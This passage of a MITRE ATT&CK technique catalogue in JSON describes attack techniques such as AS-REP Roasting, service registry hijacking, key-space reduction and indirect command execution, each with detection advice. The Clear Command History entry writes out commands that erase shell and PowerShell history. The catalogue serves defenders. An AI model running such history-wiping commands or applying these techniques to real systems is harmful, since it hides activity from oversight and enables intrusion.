renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)","modified":"2022-04-19T23:20:50.470Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Service Exhaustion Flood","x_mitre_detection":"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Sensor Health: Host Status","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Application Log: Application Log Content"],"x_mitre_system_requirements":[],"x_mitre_impact_type":["Availability"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef","type":"attack-pattern","created":"2020-03-11T14:28:40.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1195.003","url":"https://attack.mitre.org/techniques/T1195/003"}],"modified":"2020-03-23T12:51:45.475Z","name":"Compromise Hardware Supply Chain","description":"Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Gordon Long, Box, Inc., @ethicalhax","Stefan Kanthak"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","created":"2017-05-31T21:31:17.472Z","x_mitre_version":"2.1","external_references":[{"source_name":"mitre-attack","external_id":"T1106","url":"https://attack.mitre.org/techniques/T1106"},{"source_name":"MACOS Cocoa","url":"https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1","description":"Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020."},{"source_name":"Apple Core Services","url":"https://developer.apple.com/documentation/coreservices","description":"Apple. (n.d.). Core Services. Retrieved June 25, 2020."},{"source_name":"macOS Foundation","url":"https://developer.apple.com/documentation/foundation","description":"Apple. (n.d.). Foundation. Retrieved July 1, 2020."},{"source_name":"OutFlank System Calls","url":"https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/","description":"de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021."},{"source_name":"GNU Fork","url":"https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html","description":"Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020."},{"source_name":"CyberBit System Calls","url":"https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/","description":"Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021."},{"source_name":"GLIBC","url":"https://www.gnu.org/software/libc/","description":"glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020."},{"source_name":"LIBC","url":"https://man7.org/linux/man-pages//man7/libc.7.html","description":"Kerrisk, M. (2016, December 12). libc(7) — Linux manual page. Retrieved June 25, 2020."},{"source_name":"Linux Kernel API","url":"https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html","description":"Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020."},{"source_name":"MDSec System Calls","url":"https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/","description":"MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021."},{"source_name":"Microsoft CreateProcess","url":"http://msdn.microsoft.com/en-us/library/ms682425","description":"Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014."},{"source_name":"Microsoft Win32","url":"https://docs.microsoft.com/en-us/windows/win32/api/","description":"Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020."},{"source_name":"Microsoft NET","url":"https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework","description":"Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020."},{"source_name":"NT API Windows","url":"https://undocumented.ntinternals.net/","description":"The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nNative API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).","modified":"2022-04-19T20:30:00.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Native API","x_mitre_detection":"Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \n\nUtilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Module: Module Load","Process: OS API Execution"],"x_mitre_system_requirements":[],"x_mitre_remote_support":false,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Yossi Nisani, Cymptom","James Dunn, @jamdunnDFW, EY","Swapnil Kumbhar","Jacques Pluviose, @Jacqueswildy_IT","Dan Nutting, @KerberToast"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b","type":"attack-pattern","created":"2020-08-24T13:43:00.028Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1558.004","url":"https://attack.mitre.org/techniques/T1558/004"},{"source_name":"Harmj0y Roasting AS-REPs Jan 2017","url":"http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/","description":"HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August 24, 2020."},{"source_name":"Microsoft Kerberos Preauth 2014","url":"https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx","description":"Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020."},{"source_name":"Stealthbits Cracking AS-REP Roasting Jun 2019","url":"https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/","description":"Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020."},{"description":"Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.","source_name":"SANS Attacking Kerberos Nov 2014","url":"https://redsiege.com/kerberoast-slides"},{"url":"https://adsecurity.org/?p=2293","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","source_name":"AdSecurity Cracking Kerberos Dec 2015"},{"url":"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/","description":"Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.","source_name":"Microsoft Detecting Kerberoasting Feb 2018"},{"source_name":"Microsoft 4768 TGT 2017","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768","description":"Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020."}],"modified":"2021-06-07T19:23:33.039Z","name":"AS-REP Roasting","description":"Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Active Directory: Active Directory Credential Request"],"x_mitre_permissions_required":["User"],"x_mitre_system_requirements":["Valid domain account"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Demaske, Adaptforward","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427","type":"attack-pattern","created":"2017-05-31T21:30:49.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1058","url":"https://attack.mitre.org/techniques/T1058"},{"external_id":"CAPEC-478","source_name":"capec","url":"https://capec.mitre.org/data/definitions/478.html"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx","description":"Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017.","source_name":"MSDN Registry Key Security"},{"source_name":"TrustedSignal Service Failure","url":"https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html","description":"Hull, D. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019."},{"url":"https://twitter.com/r0wdy_/status/936365549553991680","description":"The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.","source_name":"Twitter Service Recovery Nov 2017"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-03-19T15:12:13.034Z","name":"Service Registry Permissions Weakness","description":"Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_system_requirements":["Ability to modify service values in the Registry"],"x_mitre_effective_permissions":["SYSTEM"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0","type":"attack-pattern","created":"2020-10-01T00:55:17.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1584.003","url":"https://attack.mitre.org/techniques/T1584/003"},{"source_name":"NSA NCSC Turla OilRig","url":"https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf","description":"NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020."},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."},{"source_name":"Mandiant SCANdalous Jul 2020","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."},{"source_name":"Koczwara Beacon Hunting Sep 2021","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."}],"modified":"2021-10-17T15:59:02.770Z","name":"Virtual Private Server","description":"Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content","Internet Scan: Response Metadata"]},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8","type":"attack-pattern","created":"2020-10-19T19:03:48.310Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1600.001","url":"https://attack.mitre.org/techniques/T1600/001"},{"source_name":"Cisco Synful Knock Evolution","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}],"modified":"2020-10-21T22:36:22.369Z","name":"Reduce Key Space","description":"Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vikas Singh, Sophos","Emile Kenning, Sophos","Austin Clark, @c2defense"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","created":"2020-01-31T12:32:08.228Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1070.003","url":"https://attack.mitre.org/techniques/T1070/003"},{"source_name":"Sophos PowerShell command audit","url":"https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit","description":"jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020."},{"source_name":"Microsoft PowerShell Command History","url":"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7","description":"Microsoft. (2020, May 13). About History. Retrieved September 4, 2020."},{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."},{"source_name":"Sophos PowerShell Command History Forensics","url":"https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics","description":"Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.  \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data.(Citation: US-CERT-TA18-106A)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file. Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)","modified":"2022-04-20T18:11:16.889Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Clear Command History","x_mitre_detection":"User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the removal/clearing of the <code>~/.bash_history</code> file can be an indicator of suspicious activity.\n\nMonitor for suspicious modifications or deletion of <code>ConsoleHost_history.txt</code> and use of the <code>Clear-History</code> command.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","User Account: User Account Authentication","File: File Modification","File: File Deletion"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":["Host forensic analysis","Log analysis"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matthew Demaske, Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1202","url":"https://attack.mitre.org/techniques/T1202"},{"url":"https://twitter.com/vector_sec/status/896049052642533376","description":"vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.","source_name":"VectorSec ForFiles Aug 2017"},{"url":"https://twitter.com/Evi1cg/status/935027922397573120","description":"Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.","source_name":"Evi1cg Forfiles Nov 2017"},{"url":"https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe","description":"Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018.","source_name":"RSA Forfiles Aug 2017"}],"modified":"2020-06-20T22:09:22.559Z","name":"Indirect Command Execution","description":"Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_defense_bypassed":["Static File Analysis","Application control","Application control by file name or 